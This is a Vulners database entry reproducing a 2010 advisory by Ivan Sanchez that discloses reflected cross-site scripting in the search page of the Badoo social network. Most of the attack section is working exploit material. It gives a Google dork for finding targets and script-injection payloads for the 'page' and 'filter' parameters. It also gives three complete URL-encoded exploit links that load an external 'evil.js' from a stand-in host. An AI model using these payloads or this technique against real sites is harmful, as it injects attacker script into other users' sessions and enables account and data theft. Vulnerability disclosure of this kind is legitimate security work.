Vulners
Lucene search
Badoo Services Online Community Cross Site Scripting
`+===============================================================================+
+ © 20062010 Badoo Services Limited & XSS Vulnerabilities +
+===============================================================================+
Author(s): Ivan Sanchez
Product: Badoo Services online community
Web: http://eu1.badoo.com/ http://badoo.com/
Versions: All version © 20062010 Badoo Services Limited
Date: 13/05/2010
http://eu1.badoo.com/about/
Badoo Services Limited operates an online community.
It offers photo/video sharing and social networking features, as well as instant messaging services to its users.
The company was founded in 2006 and is based in London, the United Kingdom.
GOOGLE DORKS:
------------
inurl:© 20062010 Badoo Services Limited
Evil Function:
--------------
http://eu1.badoo.com/search/?r=Wj9m&page=1&filter=online
Internal Variables:
-------------------
page= "><script src=http://site/scripts/evil.js></script>
filter="><script src=http://site/scripts/evil.js></script>
Exploiting:
--------------
Insert and assign the evil code to these variables,then import the malicious java as you want!
I have replaced some URL's to avoid something ;-)
http://eu1.badoo.com/search/?r=Wj9m&page=%22%3E%3Cscript%20src=http://nullcode/code/scripts/evil.js%3E%3C/script%3E&filter=online
http://eu1.badoo.com/search/?r=Wj9m&page=1&filter=http://eu1.badoo.com/search/?r=Wj91&page=%22%3E%3Cscript%20src=http://nullcode/code/scripts/evil.js%3E%3C/script%3E&filter=online
http://eu1.badoo.com/search/?r=Kdhm&page=%22%3E%3Cscript%20src=http://nullcode/code/scripts/evil.js%3E%3C/script%3E&location_id=5_1839_5188&location=Argentina#r
NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!
+===============================================================================+
+ © 20062010 Badoo Services Limited & XSS Vulnerabilities +
+===============================================================================+
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 May 2010 00:00Current
0.2Low risk
Vulners AI Score0.2